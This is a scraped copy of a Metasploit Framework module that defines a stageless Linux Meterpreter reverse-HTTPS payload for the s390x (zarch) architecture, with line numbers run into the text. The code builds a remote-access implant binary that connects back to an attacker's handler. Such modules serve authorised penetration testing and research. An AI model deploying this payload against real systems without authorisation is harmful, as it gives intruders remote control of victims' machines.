Path: blob/master/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
31406 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456# Module generated by tools/modules/generate_mettle_payloads.rb7module MetasploitModule89CachedSize = 13320481011include Msf::Payload::Single12include Msf::Sessions::MeterpreterOptions::Linux13include Msf::Sessions::MettleConfig1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',20'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',21'Author' => [22'Adam Cammack <adam_cammack[at]rapid7.com>',23'Brent Cook <brent_cook[at]rapid7.com>',24'timwr'25],26'Platform' => 'linux',27'Arch' => ARCH_ZARCH,28'License' => MSF_LICENSE,29'Handler' => Msf::Handler::ReverseHttps,30'Session' => Msf::Sessions::Meterpreter_zarch_Linux31)32)33end3435def generate(_opts = {})36opts = {37scheme: 'https',38stageless: true39}.merge(mettle_logging_config)40payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec41payload42end43end444546